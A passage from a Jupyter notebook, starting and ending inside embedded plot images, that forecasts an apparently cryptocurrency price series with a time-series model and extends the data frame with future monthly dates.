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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "df['forecast']=results.predict(start=250,end=403,dynamic=False)\n", - "df[['Price','forecast']].plot(figsize=(12,8))" - ] - }, - { - "cell_type": "code", - "execution_count": 33, - "id": "b05cc803", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "DatetimeIndex(['2019-05-23', '2019-05-24', '2019-05-25', '2019-05-26',\n", - " '2019-05-27', '2019-05-28', '2019-05-29', '2019-05-30',\n", - " '2019-05-31', '2019-06-01',\n", - " ...\n", - " '2020-05-14', '2020-05-15', '2020-05-16', '2020-05-17',\n", - " '2020-05-18', '2020-05-19', '2020-05-20', '2020-05-21',\n", - " '2020-05-22', '2020-05-23'],\n", - " dtype='datetime64[ns]', name='Date', length=367, freq=None)" - ] - }, - "execution_count": 33, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.index" - ] - }, - { - "cell_type": "code", - "execution_count": 27, - "id": "fd93baa0", - "metadata": {}, - "outputs": [], - "source": [ - "from pandas.tseries.offsets import DateOffset\n", - "future_dates=[df.index[-1]+ DateOffset(months=x)for x in range(0,24)]" - ] - }, - { - "cell_type": "code", - "execution_count": 32, - "id": "4706762c", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "[Timestamp('2020-05-23 00:00:00'),\n", - " Timestamp('2020-06-23 00:00:00'),\n", - " Timestamp('2020-07-23 00:00:00'),\n", - " Timestamp('2020-08-23 00:00:00'),\n", - " Timestamp('2020-09-23 00:00:00'),\n", - " Timestamp('2020-10-23 00:00:00'),\n", - " Timestamp('2020-11-23 00:00:00'),\n", - " Timestamp('2020-12-23 00:00:00'),\n", - " Timestamp('2021-01-23 00:00:00'),\n", - " Timestamp('2021-02-23 00:00:00'),\n", - " Timestamp('2021-03-23 00:00:00'),\n", - " Timestamp('2021-04-23 00:00:00'),\n", - " Timestamp('2021-05-23 00:00:00'),\n", - " Timestamp('2021-06-23 00:00:00'),\n", - " Timestamp('2021-07-23 00:00:00'),\n", - " Timestamp('2021-08-23 00:00:00'),\n", - " Timestamp('2021-09-23 00:00:00'),\n", - " Timestamp('2021-10-23 00:00:00'),\n", - " Timestamp('2021-11-23 00:00:00'),\n", - " Timestamp('2021-12-23 00:00:00'),\n", - " Timestamp('2022-01-23 00:00:00'),\n", - " Timestamp('2022-02-23 00:00:00'),\n", - " Timestamp('2022-03-23 00:00:00'),\n", - " Timestamp('2022-04-23 00:00:00')]" - ] - }, - "execution_count": 32, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "future_dates" - ] - }, - { - "cell_type": "code", - "execution_count": 28, - "id": "adc18af3", - "metadata": {}, - "outputs": [], - "source": [ - "future_datest_df=pd.DataFrame(index=future_dates[1:],columns=df.columns)" - ] - }, - { - "cell_type": "code", - "execution_count": 29, - "id": "d069caed", - "metadata": {}, - "outputs": [], - "source": [ - "future_df=pd.concat([df,future_datest_df])" - ] - }, - { - "cell_type": "code", - "execution_count": 30, - "id": "3faeabc6", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
PricePrice DifferenceSeasonal Differenceforecast
2019-05-237881.846680NaNNaNNaN
2019-05-247987.371582105.524902NaNNaN
2019-05-258052.54394565.172363NaNNaN
2019-05-268673.215820620.671875NaNNaN
2019-05-278805.778320132.562500NaNNaN
...............
2021-12-23NaNNaNNaNNaN
2022-01-23NaNNaNNaNNaN
2022-02-23NaNNaNNaNNaN
2022-03-23NaNNaNNaNNaN
2022-04-23NaNNaNNaNNaN
\n", - "

390 rows × 4 columns

\n", - "
" - ], - "text/plain": [ - " Price Price Difference Seasonal Difference forecast\n", - "2019-05-23 7881.846680 NaN NaN NaN\n", - "2019-05-24 7987.371582 105.524902 NaN NaN\n", - "2019-05-25 8052.543945 65.172363 NaN NaN\n", - "2019-05-26 8673.215820 620.671875 NaN NaN\n", - "2019-05-27 8805.778320 132.562500 NaN NaN\n", - "... ... ... ... ...\n", - "2021-12-23 NaN NaN NaN NaN\n", - "2022-01-23 NaN NaN NaN NaN\n", - "2022-02-23 NaN NaN NaN NaN\n", - "2022-03-23 NaN NaN NaN NaN\n", - "2022-04-23 NaN NaN NaN NaN\n", - "\n", - "[390 rows x 4 columns]" - ] - }, - "execution_count": 30, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "future_df" - ] - }, - { - "cell_type": "code", - "execution_count": 31, - "id": "ae19d929", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 31, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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